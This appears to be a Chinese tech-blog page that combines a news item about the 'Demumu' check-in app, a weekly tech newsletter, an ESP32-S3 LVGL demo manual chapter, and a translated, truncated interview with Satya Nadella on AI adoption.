xiaohack博客专注前沿科技动态与实用技术干货分享，涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容，提供开源项目教程、科技资讯日报、工具使用指南，助力开发者、AI 爱好者获取前沿技术与实战经验。
目前，原“死了么”APP 在部分地区 App Store 上线 2.0 版本。更新记录显示，新版本新增签到提醒、短信通知，并修复若干问题。
值得注意的是，“死了么”APP 此前宣布要在新版本中正式启用全球化品牌名称“Demumu”，目前也已更名。
据介绍，该应用是为独居人群打造的轻量化安全工具。
用户需要设置紧急联系人并签到，若连续多日没在应用内签到，系统将于次日自动发送邮件告知紧急联系人。
6.99 刀，真的有人买么，我建议改成订阅制的🐶
这里记录每周值得分享的科技内容，周五发布。
本杂志开源，欢迎投稿。另有《谁在招人》服务，发布程序员招聘信息。合作请邮件联系（[email protected]）。
巫山县城建在山坡上，为了方便居民和促进观光，在中轴线上建设了神女大扶梯，总长905米，高240余米，相当于80层楼，全程需要20分钟。（via）
软件可以分成两种：一种是公司开发的，另一种是个人开发的。后者就称为"独立软件"（indie software）。
它的历史非常悠久，从古至今，很多程序员依靠出售独立软件谋生。
有一种东西"共享软件"（Shareware），年轻的朋友未必知道，二三十年前曾经非常流行。用户免费使用软件的试用版，如果满意，就向开发者购买一个注册码。
这就是一种独立软件，当年很多著名软件都是这个模式，比如国外的 WinZip 和 WinRAR，国内的网络蚂蚁（NetAnts）、网际快车（FlashGet）、豪杰解霸。
时至今日，大家看看目前流行的软件，还有多少属于独立软件？你每天使用的软件，又有多少是个人开发的？
很少很少了。
一位二十年的独立软件开发者哀叹，现在的市场上，公司开发的比重越来越大，个人开发的比重越来越小，独立软件正在没落。
"我销售自己的软件20年了，2005年以后，互联网开始普及，独立软件迎来了黄金年代。而最近两三年，环境一直在快速变化，销售明显变难了，我感觉自己越来越难维持生计了。"
独立软件的大发展，是从2005年开始的。
- 互联网的普及，网民数量急剧增长。
- 智能手机创造了手机软件，一个全新的软件大市场。
- 在线支付的普及和简化。
- 互联网使软件分发变得容易且免费。
- 免费的高质量开发工具（编译器、IDE、版本控制系统、Web 服务器）不断涌现。
这些因素让程序员切切实实获利了，要是你再做一些 SEO、买一些付费广告，完全可能赚到大钱。很多人就是这样发展起来的，从独立软件变成了大公司。
但是，最近两三年情况变了，上面这些因素都到头了。
独立软件正在慢慢退潮，你能够想起名字的独立软件越来越少，更不要说掏钱购买了，即使有也是多年前的作品。根据我的观察，依靠出售自己软件维生的程序员似乎也在减少。
主要原因有下面几个。
（1）AI 改变了互联网流量，独立软件失去了推广渠道。网站的访问量显著减少，人们更多跟大模型交互，而不是浏览网页。通过搜索引擎和在线广告获取流量的策略，越来越没有效果。
视频是为数不多仍然有效的推广渠道之一，但制作视频非常耗时，而且竞争异常激烈。另外，AI 生成的劣质视频迟早会大量出现，推广效果也会变差。
（2）AI 使得软件开发变得容易。它加快了开发速度，降低了进入门槛，让更多人加入竞争。以前，用户可能购买某个功能，现在直接让 AI 生成即可。
（3）新软件汗牛充栋，越来越难脱颖而出。iPhone 应用商店有大约200万个应用，用户很难发现你。另一方面，应用商店更喜欢推广那些能帮它赚更多钱的大公司软件，而不是独立软件。
（4）人们越来越习惯使用基于网络的软件，独立软件属于需要下载安装的原生应用，它的市场在萎缩。
基于网络的软件与其说是产品，不如说是一种服务，全天候24小时可用的服务。越来越多的个人开发者顺应这种趋势，改为以提供 SaaS 服务为主。
（5）平台的风险。现在的很多独立软件，都依靠云服务商的平台或底层服务，而平台随时会改变规则（比如关闭 API），或者推出竞品，一大批应用随之死掉，这种事情屡见不鲜。
（6）用户期望软件是免费的，或者非常便宜。售价略微高一点，就会无人问津。因此，独立软件要想获得可观的回报，就需要巨大的销售规模，这根本做不到。别的不说，个人开发者完全无力提供满意的客服。
（7）以上这些因素将长期存在，只会加深，不会逆转。独立软件的时代可能真的要结束了，个人开发者以后大概很难靠销售自己的软件为生，而要改为销售自己维护的 SaaS 服务，尽管这也很难。
微软公司的 VS Code 是非常流行的代码编辑器，市场份额很高。
现在的官网上，它的产品定位是"开源 AI 代码编辑器"。
但是，2025年上半年，它的产品定位还是"你的代码编辑器，由 AI 重定义"。
更早的2024年，产品定位是"重新定义的代码编辑"。
令人感慨啊，这么成功的软件，AI 本来只是附属功能，现在也要蹭热点，把自己包装成 AI 主导的产品。
2、智能脖巾
英国科研人员发明了一种智能脖巾。它围在脖子上，可以感受到穿戴者的心跳和喉部肌肉运动。
它的用户主要是中风后丧失说话能力的人。这些人可以张嘴，做出说话的口型，但是无法正常发音。
他们佩戴这个脖巾后，颈部的运动数据就通过它传给电脑，经过模型训练，可以用电脑语音还原出用户想说的话。
3、雪宝机器人
人形机器人何必一定做成人形。
迪斯尼最近发布了一个机器人，样子就是电影《冰雪奇缘》的雪宝。
它用来在迪斯尼乐园，跟游客互动。
它启示我们，人形机器人做成卡通形状也很好。
另外，LG 公司在美国 CES 展会上，展示了他们最新的家务机器人。
这个机器人的功能就是做家务，比如叠衣服和洗碗。我觉得，国内厂商可以借鉴，展示机器人功能时，不要展示跳舞打拳，而要展示如何做家务。
1、别用 MySQL，改用 MariaDB（英文）
曾经的明星数据库 MySQL，最近几个月的代码提交数为0（上图）。作者认为，种种迹象表明甲骨文已经放弃了这个项目。
2、10秒获得 AI 代码评审结果（英文）
本文介绍一个技巧，让 AI 快速给出提交代码的评审结果，方法是不要提交整个代码库，只提交 diff 的部分。
3、使用 Pandoc 生成静态网站（英文）
文档格式转换工具 Pandoc 可以用来生成静态网站，作者介绍自己是怎么做的。
4、锚点元素<a>的一些鲜为人知的地方（英文）
锚点元素<a>用来生成链接，本文介绍如果链接到一些特殊字符的情况。
5、学习自定义元素（英文）
一篇 HTML 自定义元素的教程文章，写得简单清晰。
6、Go、Rust 和 Zig 的一些想法（英文）
作者是一个高级程序员，谈谈他对 Go、Rust、Zig 三种语言的感受。有趣的地方是，这三种语言都没有类，也不支持面向对象编程。
7、我的个人基础设施（英文）
作者介绍他自己的家庭实验室。比较有趣的是，他的个人网站是本地构建后，自动用 Syncthing 同步到服务器，这对小型静态网站确实简单。
1、GoRead
开源的电子书阅读器应用，支持桌面与移动端（Android/iOS）。（@zhashut 投稿）
用于 API 调试的跨平台桌面应用，对标 Postman + JMeter。（@lakernote 投稿）
3、Port Sentinel（端口哨兵）
Windows 桌面应用，查看端口占用情况。（@Sanjeever 投稿）
基于 Web 的楼盘采光 3D 日照模拟工具，帮助购房者评估小区采光。（@SeanWong17 投稿）
一个纯本地的 Office 网页应用，可以离线在网页创建/编辑 Word、Excel、PowerPoint 文件。（@baotlake 投稿）
免费的网站截屏在线工具，提供 API，可以直接将截图代码插入网页。（@phpiscute 投稿）
7、tsshd
SSH 服务器登录协议的全新实现，特点是连接不掉线，可以重连前一个对话。（@lonnywong 投稿）
一个开源网页应用，通过动态二维码发送/接收文件。（@topcss 投稿）
开源路由器操作系统 OpenWRT 的一个插件，可以监控局域网各设备的实时流量和目的地。（@timsaya 投稿）
开源的网页族谱工具，用来生成家族族谱，基于 Next.js + Supabase。（@yunfengsa 投稿）
11、mdto.page
这个网站免费将 Markdown 文件转成 HTML 格式，发布成公开访问的网页。
OpenAI 悄悄发布的翻译功能，只有在官网可用。
一个跨平台的桌面应用，使用自然语言进行本地文件搜索。（@moyangzhan 投稿）
3、OpenWork
Claude 公司新产品 CoWork 的开源替代品，让普通用户不编程，就能完成文件操作，定位就是"Claude Code 的非编程版"。
另有一个类似项目 Open Claude Cowork。（@aiagentbuilder 投稿）
4、Wolfcha（猹杀）
开源的网页游戏 AI 狼人杀，除了玩家自己，其他所有角色（女巫、猎人、守卫、狼人等）都由 AI 扮演。（@oil-oil 投稿）
1、维基百科25周年
维基百科是2001年1月13日上线的，今年是25周年纪念。这个网站是官方的纪念网站，以互动形式展示了发展历程。
另外，还有一篇文章，介绍互联网档案馆的历史（下图）。
这个网页可以查看指定网站返回的 HTTP 标头，详细解释每个字段的含义。
3、现代 Java（Modern Java）
面向初学者的 Java 语言教程。
90后摄影师储卫民拍摄的中国新能源建设。
他说："从地面上很难体会这些发电厂的规模，但当你升到空中时，就能看到它们与山脉、沙漠和海洋之间的关系。"
青海冷湖镇
浙江象山县
青海塔拉滩
内蒙古阿拉善
"我一开始只是拍摄风景，但2022年我去贵州、云南、青海等地旅行时，不断看到风力发电场和太阳能发电厂出现在我的镜头里。我意识到这就是我们这个时代的故事----但几乎没有人系统地记录它。"
大约14年前，我加入谷歌，以为这份工作就是编写优秀的代码。
这个想法部分正确。但随着时间的推移，我越来越意识到，真正成功的工程师不一定是最优秀的程序员，而是懂得驾驭代码之外一切的人。
下面就是我得到的经验教训。有些教训是我走了几个月的弯路得到的，还有一些需要数年才完全领悟。它们都与具体的技术无关----技术变化太快，根本无关紧要。
（1）工程师想在大公司生存，必须学会沟通。
因为在大公司，团队是组织的基本单位，推进项目必须跟其他团队沟通。项目越大，你花在跟其他人、其他团队沟通的时间就越多，比编写代码的时间还多。大多数"慢"的团队实际上是不沟通的团队。
为了顺利沟通，清晰是第一位的要求。它不仅可以加快沟通，还能降低代码风险。最优秀的工程师都会用清晰易懂的代码来代替炫技。
为了提高表达的清晰性，你可以尝试写作和去教别人。如果你能用简单的语言解释某件事，你就是真的理解它了。
（2）想要得到晋升，必须有人为你说话。
职业生涯初期，我曾认为优秀的工作成果代表了一切，但我错了。代码默默地躺在代码库里，不会为你说话。
那些对你至关重要的会议，你本人很可能没有机会参加。你需要你的经理、同事在会上提到你、推荐你。他们可能这样做，也可能不会。
平时工作中，你尽量不要为自己增加阻力。如果开会的时候，你赢得每一场辩论，很可能就是在积累无声的阻力。你之所以"赢"，不是因为你说服了别人，而是因为他们不再与你争论，放弃了，将会在其他场合表达这种不满。
（3）专注于你能控制的事情，忽略你无法控制的事情。
很多事情，你改变不了，不要为这种事情烦恼。这不是被动接受，而是策略性分配精力。如果你把精力浪费在无法改变的事情上，就等于放弃改变那些原本可以改变的事情。
（4）简化工作往往可以提高绩效。
当系统运行缓慢时，人们的第一反应是增加缓存层、并行处理和更智能的算法。有时这样做没错，但我发现，删除不必要的工作几乎总是更有效果。下次进行优化之前，你要先问问自己这项工作是否应该存在。
（5）时间比金钱更有价值，你要抓紧时间。
职业生涯初期，你用时间换取金钱，各种事情都做----这无可厚非。但到了某个阶段，情况就完全不同了，你会开始意识到，时间才是不可再生资源。你要专注于那些对你最重要的事情，放弃其他事情。
1、
-- 一位程序员评论 OpenAI 宣布在 AI 对话中加入广告
2、
Netflix 的电影不追求视觉效果，因为大多数观众是在手机、平板和笔记本电脑上看，内容不需要为大银幕制作、而是为小屏幕制作的。
-- 马特·达蒙，美国著名演员
3、
我从未见过哪个群体比程序员更热衷于分享知识。其他行业都是严守知识、保守秘密，程序员则是免费提供源代码、书籍、博客文章、演示文稿、视频教程等等。
编程领域没有什么神圣不可侵犯的东西。如果你想学习，你可以找到免费书籍、完整的源代码、论坛、聊天室、邮件列表、线下聚会、博客文章、视频讲座、教程以及你可能需要的一切资源。尽管举手，总会有人乐于助人，倾囊相授。
4、
今年的 iOS 26 中，一些 UI 元素利用 HDR 屏幕，采用高光，比纯白色更亮。如果你曾经在 iPhone（或其他任何支持 HDR 的屏幕）上看过 HDR 照片，然后再看看以 SDR 模式显示的 UI，你就会知道它看起来有多么灰暗黯淡。
-- 《亮模式的膨胀》，作者发现 iOS 每年都变得更亮，容易产生视觉疲劳，让他不得不使用暗模式
5、
如果你想批评大型组织的运作方式，首先要了解它们为何如此运作。否则，批评会显得尖锐，但却毫无意义。
年底的未来已来（#335）
为什么 PPT 不如备忘录（#285）
青年失业率与选择创业（#235）
美国宪法拍卖，一个区块链案例（#185）
（完）
本章，简单的介绍一下DNESP32S3开发板的 LVGL 综合例程。需要说明一下的是：本例程是一个不完整的例程。因为该例程只是实现一个基于 LVGL 的 GUI 界面，里面的 APP 64.1 LVGL 综合例程注意事项 注意事项如下：第六十四章 LVGL 综合例程
基本没有实现功能，所以这只是给大家参考的 GUI demo。
实现这样简单的 GUI demo 原因如下：
1， 板载的2.4寸TFTLCD并未具备触摸条件，所以设计UI时受到很大的制约。
2， 想做出一个 LVGL 综合例程给大家参考，但时间比较赶。
3， 要实现一个不错的 LVGL 综合例程，要花费不少精力。
4， 要考虑板载资源，兼容性等。
5， 工程师们手头的事情比较多，等后续空闲些再规划。
大家可以把自己期待的 LVGL 界面、功能等，通过各种渠道跟我们沟通，比如：B 站视频评论区，销售客户/技术支持等。后续有时间，我们会把大家的建议都考虑上去的。最后，敬请大家心怀一个小小的期待，期待正点原子的 LVGL 综合例程，感谢大家的支持！！！
本章将分为如下 2 个小节：
64.2 LVGL 综合例程界面展示64.1 LVGL 综合例程注意事项
1，DNESP32S3开发板的LVGL综合例程只支持正点原子的2.4寸 TFTLCD屏。其它屏幕会出现图标显示异常。
2，所用的LVGL版本是V8.2。
3，需要准备一张TF卡，将A盘资料的SD卡根目录文件复制到TF卡根目录当中，SD卡根目录文件如下图所示。
图64.1.1 拷贝资料到TF卡当中
图64.1.2展示的是LVGL例程界面所用到的 bin 文件。LVGL 综合例程会将这些bin文件拷贝到16MB Flash分区表的storage子分区表备份，方便GUI界面读取。如果直接从TF卡中读取，速度会比较慢，影响 GUI 的流畅性。
图 64.1.2 LVGL例程界面所用到的bin文件64.2 LVGL 综合例程界面展示
图64.2.1 GUI主界面和视频播放器界面
图64.2.2 图片浏览界面和计算机界面
由于DNESP32S3开发板的2.4寸TFTLCD显示屏未具备触摸条件，所以作者只能实现一些简单的APP应用。
最近的达沃斯论坛上，科技领袖们纷纷出来发表观点。当 Google 的 Demis Hassabis 和 Anthropic 的 Dario Amodei 在讨论更宏观的 AGI 话题时，微软 CEO Satya Nadella 与英国前首相 Rishi Sunak 的对话，更聚焦在了 AI 应用的话题。 Satya 以自己参加达沃斯的准备工作变化为例，来说明在企业内部，AI 正在打破传统层级架构，让信息流实现扁平化。 “自从我 1992 年参加以来，直到几年前，流程都没什么变化：我的现场团队会准备笔记，然后送到总部进一步提炼。但现在我直接找 Copilot 说，“我要见 xxx，给我一个简介”。它会给我一个全方位的视角。”“我做的是立即把这个简介分享给所有部门的同事。” 他指出，企业 AI 应用呈现出明显的 “杠杆效应”：初创公司能从零开始构建适配 AI 的组织，落地速度更快；大型企业虽手握数据、资源优势，但传统工作流程与组织惯性带来的变革管理挑战更大。而无论大小企业，都需经历 “思维转变 — 技能培养 — 数据整合” 的艰苦过程。 人才方面，他认为全球 AI 技术人才与初创公司的质量已无显著差异：“雅加达、伊斯坦布尔的人才技术水平并不逊色于西雅图、旧金山。”真正的差距在于大规模应用的推进力度。 Satya 表示，判断 AI 是否存在泡沫，关键也在于落地应用：若仅停留在科技公司的技术讨论，泡沫风险确实存在；但当 AI 加速药物临床试验、提升农业生产效率、优化公共服务时，技术就已转化为实实在在的经济价值。 今天，Satya 参加 All-In Podcast 的采访也发布了，这次谈话与 Rishi 那次比，有部分话题重合，但也更微观一些。他谈到，科技行业每十年换一批竞争对手是好事，能倒逼企业保持竞争力，科技产业蛋糕会持续变大，绝非零和博弈。而微软与 OpenAI 合作的核心逻辑：不押注单一模型，而是打造算力+应用服务器层的平台，兼容多模型生态。 他还提到，公司内部全球网络团队已用 AI Agent（数字员工）自动化处理光纤挖断、设备故障等 DevOps 重复工作，完全是自下而上的落地实践。此外还将 LinkedIn 等团队各角色合并为“全栈构建者”，重构 AI 产品工作流。现在，微软正在尝试新学徒制模式：由资深 IC 工程师带一组应届生，借助 AI 加速新人生产力爬坡，以适配 AI 时代的人才培养方式，新人仍需持续进入职场。 国际竞争方面，他认为，美国技术栈的核心优势是生态效应（平台之上生态收入远超自身收入），而非单纯市场份额，技术“扩散”是做大全球蛋糕，而非抢蛋糕。 我们翻译并整理了这次访谈内容，并在不改变原意基础上进行了删减，以飨读者。 Jason：今天非常高兴，能请到重量级嘉宾 Satya Nadella，Microsoft 的第三任 CEO，和我们的 AI 与加密领域负责人 David Sacks 来一场即兴炉边对话。Satya 出生在印度，大学毕业后来到美国，这一路经历本身就很传奇。你在书里写过，为了把太太接来美国，还专门“折返”了一趟。能不能简单和大家讲讲当时是怎么回事？ Satya：这件事其实是美国移民政策下的一段“奇妙经历”。我和太太在印度读的是同一所大学，后来我来美国读研究生，我们结了婚。我拿到了绿卡，但问题是由于我们是结婚后才申请，她反而不能直接过来。结果就是，我不得不放弃已经拿到的绿卡。 最有意思的是，我去新德里的美国使馆，问工作人员：“请问放弃绿卡要排哪一队？”他们直接说：“没有这种队伍。”在九十年代，主动放弃绿卡绝对算是件“疯狂”的事。但为了让她能以 H1 签证过来，只能这么操作。好在最后一切都解决了，现在想起来更像是一段久远但有点荒诞的回忆。 Jason：我想聊聊 Copilot。你们最早在 GitHub 上推出 Copilot，后来做到桌面端，再到直接把它放进 Windows，这对 Microsoft 来说是个非常大胆的决定。我每天都在用。但老实说，在它还不能真正理解文件系统、也没法和应用深度交互之前，市场反应不温不火。不过现在你们明显在持续加码。 在我看来，面向知识工作者，AI 正在走向三种形态：一类是 Elon 在 xAI 做的那种“人类模拟器”，据说直接把“虚拟员工”塞进聊天和邮箱系统；一类是 Claude 刚发布的协作型 Agent，强得离谱，很多人已经被震住了，我自己连续玩了四十多个小时。 那 Microsoft 的愿景是什么？知识工作者究竟该怎么真正把这些东西用起来？现在大家更多还是在“玩 ChatGPT”，这和真正创造商业价值之间好像还有一道鸿沟。 Satya：要理解这些不同形态，最好的切入口其实是编程，代码工作几乎是最典型的知识工作。 回头看这条演进路线：最早是“Next Edit Suggestions”，也就是智能补全。老实说，我对这一代 AI 技术真正建立信心，就是从早期 Codex 那一代模型开始的。那还是 GPT-3.5 之前，但补全已经相当准确了。后来我们有了 chat 交互，再往后是可执行的 actions，现在则是全自主 Agent。这些 Agent 既可以在前台，也可以在后台；可以在云端，也可以在本地运行。 有意思的是，这些形态今天在编程中都有，而且你会全部用到，而非只选其中一种。比如我在 CLI 里，可以有前台 Agent、后台 Agent，同时直接在 VS Code 里改代码，这些全部并行进行。这说明了不同形态是可以组合的。 把这套放到知识工作上也是一样。我们是从 chat 开始，带推理的 chat 不只是一问一答，你能看到它完整的思考过程；现在到了 actions 阶段，通过模拟电脑操作、Skill 和 Agent 调用调用来执行任务，这就是 Copilot 如今的状况。 接下来，其实需要一个新的“隐喻”来理解 AI 时代的计算机。Jobs 当年形容 PC 是“思维的自行车”；Bill Gates 说过一句我很喜欢的话：“信息触手可及”。但在 AI 时代，我们需要新的说法。我很喜欢 Notion CEO 的一个比喻：“无限思维的管理者”。这个说法非常形象。 Jason：确实是个很棒的产品。不过你们还没收购它。 Satya：还没有（笑）。但这个比喻点中了关键：你同时在和大量 Agent 协作。我自己还常用两个词：宏观委派和微观引导，即你把一整块工作交出去，同时在执行过程中不断给细节指令。写代码其实已经是这样了。这正是今天 Copilot 的真实状态。 还有一种我特别期待的形态，很快你们就会看到：开发者并不是只待在自己的 repo 里。我们要开会、写设计文档、实现别人写好的规格说明，还要保证代码和这些内容一致。这就意味着，Copilot 需要能通过 MCP Server 之类的方式，把我的工作流、待办事项、上下文全部拉进来。这才是真正的知识工作“组合”。 安全领域也是一样。一个安全工程师面对的是海量日志：把日志放进文件系统、用代码分析、生成仪表盘，这些都是 AI 能大幅放大的知识工作场景。 Jason：那“数字员工”“数字同事”这种概念呢？是不是也在你们的规划里？ Satya：核心问题其实是“身份”。我们推出了 Agent 365，就是把今天给人用的身份体系、终端防护体系，扩展到 Agent 身上。 Jason：也就是说，你可以“克隆”一个我，让他在 HR 或市场部里工作？ Satya：没错。在 Office 体系里完全可以做到。这里有两种模式：一种是，每个知识工作者都拥有“无限个大脑”；另一种是，创造完全独立于你个人身份的 Agent。而身份这件事非常关键，权限、决策、责任追溯等全都依赖它。 Jason：说到底，就是搞清楚“谁对谁做了什么”。 Satya：正是如此。对任何组织来说，最重要的问题之一就是：工作是谁完成的、怎么完成的、来源是什么、能不能追溯，所以要么是“人 + 一堆 Agent”，由人来做宏委派、微观引导，要么就是一个完全独立的身份在运作。 Jason：过去几年，Microsoft 的员工数量基本没变，但收入多了 900 亿美元，利润还翻了一倍。你们也像 Alphabet、Meta 一样，削掉了不少中间管理层。这是因为自动化？还是以前人确实有点多？ Satya：你抓住了一个非常关键的问题。我认为，这是自 PC 普及以来，知识工作最大的结构性变化。想想 PC 之前，一家跨国公司怎么做预测？传真、内部备忘录满天飞，最后凑出一份结果。后来 PC 成了标配，Excel + Email，让流程和产出物全变了，今天正在发生同样级别的变化。 举个例子，在 LinkedIn，我们以前有产品经理、设计师、前端工程师、后端工程师，后来我们把前面这些角色合并、扩大职责范围，统一成“全栈构建者”。这是结构性的调整，它改变了工作本身，也改变了工作流。 Jason：沟通成本一下就下来了，速度自然更快，一个人就能“vibe coding”。 Satya：没错，而且 AI 产品本身也有一套全新的工作流：从评测、到科学建模，再到基础设施。评测和产品由新的“全栈型 PM / Builder”完成，系统工程师负责支撑后端科学和基础设施，这是一个全新的闭环，必须从组织结构上去适配。 当然，对 Microsoft 来说，我们不可能只活在未来。现在，我们要一边把 Windows 的热补丁做好、质量做到位；一边还要持续提升 Copilot 的评测体系和质量，这两件事都必须是第一优先级的。 Jason：这大概是你职业生涯里最具挑战性的阶段吧？过去 Microsoft 在很多领域是双寡头甚至垄断，但现在面对的竞争完全不一样。 Satya：确实非常激烈。但我一直觉得，每十年换一批竞争对手，其实是好事，它能让你保持“体能”。我 1992 年加入 Microsoft，那时最大的对手是 Novell；现在是 2026 年，环境完全不同。竞争很残酷，但从 GDP 占比来看，五年后科技产业一定更大，这不是一个零和游戏。 Jason：蛋糕在变大。 Satya：而且会大得多。整个技术栈对社会的影响会极其深远。最终的问题是 Microsoft 的品牌定位是什么？客户期待我们提供什么？有时候我们会误以为，所有客户对所有厂商的期待都是一样的，但真正重要的是弄清楚客户“希望从你这里得到什么”。这其实是 Peter Thiel 那个观点的另一种表达：不是逃避竞争，而是通过理解客户，找到你真正不可替代的位置。 David：这次在达沃斯，既有不少国家领导人，也有大量《财富》世界五百强公司的 CEO。昨晚晚宴上，有人问你一个问题：他们该如何看待 AI，怎样才能真正把 AI 用好。我记得你当时提到了“扩散（diffusion）”这个词，这一点和我最近参与的一些政策研究高度契合。能不能展开讲讲你的想法？ Satya：当然可以。事实上，你们一直在做一件非常重要的事，就是确保以美国为代表的技术栈，能在全球范围内被广泛采用、并且被信任。 回过头来看，技术本身只是起点，真正的价值来自于被大规模、深入地使用。我一直很喜欢一项研究，是 Diego Comin 做的，研究的是工业革命时期各国是如何实现领先的。结论其实很简单：那些把最新技术引入本国，并在此基础上做价值叠加的国家，最终跑得最快。说白了，不要重复造轮子，而是先用最先进的，再在上面持续创新。 这正是“扩散”的意义所在。像 AI 这样的通用型技术，关键在于能不能真正铺开。就拿美国来说，技术我们已经有了，但问题是：它有没有进入医疗？有没有进入金融？有没有进入所有行业？不只是大企业，也包括中小企业和公共部门。如果看不到这种广泛而密集的应用，就谈不上真正的成功。 现在我们正处在这样一个阶段：AI 正在更快地“扩散”。你们做的那些政策层面的工作其实非常关键。好消息是，技术已经成熟了，云计算和移动互联网这些“基础设施轨道”早就铺好了，这让 AI 的传播成为可能。现在真正的问题不在算力能不能拿到，而在于具体的应用场景是什么，以及组织如何管理随之而来的变化。 在达沃斯，还有一个常被提起的问题：发达国家之外，全球南方怎么办？我反而觉得这里蕴含着巨大的机会。在很多全球南方国家，公共部门在 GDP 中的占比非常高。想象一下，如果 AI 能显著提升政府把纳税人资金转化为公共服务的效率，哪怕只提升一点点，那可能就是几个百分点的 GDP 增长。 所以我非常乐观，我认为会形成一种强烈的拉动力，而美国也应该把我们已有的技术栈，推动在欧洲、亚洲、南美、非洲等地广泛落地。 David：我经常被问到一个问题：这场 AI 竞赛，怎么判断谁在赢？或者美国是不是领先全球？我给出的答案很直接：看市场份额。如果几年后我们放眼全球，看到美国公司的技术占据了绝大多数市场，那说明我们做对了；如果看到全球到处用的都是中国的芯片和模型，那可能就意味着我们输了。说到底，使用情况才是最真实的检验标准。 Satya：我同意。但你也在 Microsoft 工作过几年，应该记得 Bill Gates 对“平台”的理解。对我来说，除了市场份额，更重要的是生态效应。美国一直以来的优势，不只是本国公司的收入规模，而是围绕平台形成的完整生态。 我在 Microsoft 学到的一点是，每次去一个国家访问，最先看的不是我们卖了多少软件，而是围绕 Microsoft 平台，在当地创造了多少就业岗位。比如有多少渠道伙伴、多少 ISV、多少相关的 IT 从业者。我们有一整套指标，衡量一个国家的生态是如何围绕平台建立起来的。 这正是美国技术栈过去在全球，包括在中国，能够被广泛采用的原因：当地公司能在上面构建自己的产品和业务。这种事情还会再次发生。所以你们推动“扩散”的工作，本质上不是在抢蛋糕，而是在把蛋糕做大，增强对平台的信任，从而带来真正的经济机会。 David：你这么一说，我确实想起了一些往事。那还是十多年前，Yammer 被 Microsoft 收购，我们并入了 SharePoint 团队。当时产品经理们非常自豪的一点是：围绕 SharePoint 的生态收入，即非 Microsoft 的咨询公司、实施伙伴创造的收入，其规模是 Microsoft 自身软件收入的好几倍。Bill 也说过一句话：只有当平台之上的收入，显著超过平台自身的收入时，你才算真正拥有一个生态。所以，当我们谈“扩散”，希望美国保持领先地位，并不意味着这对世界其他地方是坏事。恰恰相反，其他国家和公司可以在这个平台之上创造出更大的价值。 Satya：完全同意。这一点非常关键。这不是“美国技术、美国收入”的问题，而是在用一个新平台在全球范围内创造机会。 我 90 年代做数据库产品时，和 SAP 有过深度合作。SQL Server 和 R/3 的结合，对双方都是巨大的成功。大家常提 Intel 和 Microsoft，但对我个人成长影响很深的一件事其实是和一家欧洲软件巨头的合作。放到今天也是一样，谁知道下一个伟大的 AI 应用会出现在哪里？我始终相信，即便基于美国的技术栈，世界各地都可能诞生顶级的科技公司。 Jason：你不仅是技术领袖，也是一位非常出色的并购操盘手，这一点其实被外界低估了。你和 Sam Altman、OpenAI 的合作，被认为既高明又充满争议。有人说，这笔交易可能让 Microsoft 获得巨额回报，但也有人质疑：你是不是亲手培养了一个未来最强的竞争对手？尤其是考虑到 Microsoft 过去错过了移动互联网浪潮，你们为什么不自己做一个 Gemini、xAI 或 Claude？ Satya：我理解这种疑问。很多人问我：你们自己的基础模型在哪里？从知识产权角度说，我们确实拥有相关能力，但更重要的是，Microsoft 现在的战略有几个层面。 首先，我们要把“算力工厂”做好。Azure 是我们最大的业务之一，而随着 AI 的发展，它的市场空间会变得极其庞大，这要求我们在异构基础设施管理、软件调度和资源利用率上做到极致。 其次，是应用服务器层。未来，每个人都在构建 Agent，有强化学习环境、有评测体系，就像每一代平台都会有自己的应用服务器一样。我们现在在做的 Foundry，就是这个定位。 在这一层里，有一点已经非常清楚：任何应用、任何公司，最终都会同时使用多种模型。为什么不用呢，甚至在一个具体任务里，编排多个模型协同工作，效果往往比单一的前沿模型更好。我们在医疗领域做过一个“决策编排”的实践，仅仅通过给模型分配不同角色再进行协同，就能显著提升结果质量。 Jason：那是不是可以理解为，你其实看好开源模型，认为大模型本身会逐渐商品化，真正的价值不在这里？ Satya：我更愿意把它类比成数据库市场。最早大家觉得数据库就是 SQL，后来才发现并不是。关系型、文档型、NoSQL，各种数据库层出不穷，甚至出现了大量开源项目和围绕它们建立的公司。模型也会是类似的演进路径，会有闭源的前沿模型，也会有达到前沿水平的开源模型。 接下来一个非常重要的方向是：企业能否把自身的隐性知识，真正嵌入到自己掌控的模型权重中。有人问我未来会有多少模型，我的回答是：可能和世界上有多少家公司一样多。这听起来极端，但在我看来，这正是“知识经济”向“AI 经济”转变的方式。 Jason：那你有没有在 Windows 桌面上，悄悄推进一个本地运行的大模型？ Satya：其实已经在发生了，现在已经有完全驻留在本地、基于 NPU 和 GPU 的模型。高性能工作站正在回归，这本身就是一件非常有意思的事。 Jason： 明白了。所以 Microsoft 当然会重视 PC，这毕竟是你们的主场，有完整的桌面生态。 Satya：是的，本质上这是个商业问题。我们一直认为“形态”非常重要。我常开玩笑说，我的职业生涯是从命令行开始的，说不定最后也会回到命令行。但不管怎样，形态一直在演进。 Jason： 你当年起步时用的是 Sun 那种最早的工作站，价格五千到一万美元。你能想象有一天，你会向客户推荐一台一万到两万美元的桌面机，里面内置 LLM 和强悍硬件吗？ Satya：完全有可能。你可以插一张 DGX 卡，做出一台非常强的机器。其实在模型架构上，我们可能只差一次关键调整就能实现某种分布式模型架构，比如真正能自我调度的 MoE 架构。这类突破会彻底改变“混合 AI”该是什么样子。 但不管怎样，我们非常明确：PC 必须成为本地模型的最佳载体。本地模型可以承担大量 prompt 处理，再按需调用云端能力。这里面还有大量工作空间，这也是我们正在坚定推进的方向。 David： 云与本地的协同已经证明了，能直接访问本地文件系统，本身就非常有价值。这让我想到 Yammer。很多人可能不知道 Yammer 当年最大的特点，是用消费级增长打法去攻企业软件。站在今天去看企业 AI 的采用，你觉得未来一年会怎么“扩散”？现在好像正处在一个关键点：会是自上而下，由 CEO 拍板、搞战略转型、走 RFP；还是自下而上，由一批 AI 原生员工先用起来，把工具带进工作中，做出惊人的成果？ Satya：说实话，我觉得两种都会发生。自上而下的原因很简单：在客服、供应链、HR 自助这些场景里，AI 的 ROI 非常清晰，IT 和 CXO 很容易拍板，这也是目前最先落地的一波真实 AI 应用。 但最终真正改变组织的，一定是自下而上的力量。回看 PC 的历史也是这样：最早是律师把 Word 带进公司、财务把 Excel 带进来，后来有了邮件，最后才变成标配。现在正在重演这个过程。比如说 Agent，现在几乎所有人都在做 Agent，本质是在重构工作流，把大量重复、枯燥的事情自动化掉，这正是自下而上转型的起点。 说实话，我最兴奋的也是这种变化。以 Microsoft 为例，我们在全球管理着五百多个光纤运营点，尤其在亚洲。我自己以前都没意识到，这些所谓的 DevOps，其实很大一部分是物理资产：光纤会被挖断、设备会出故障。所谓 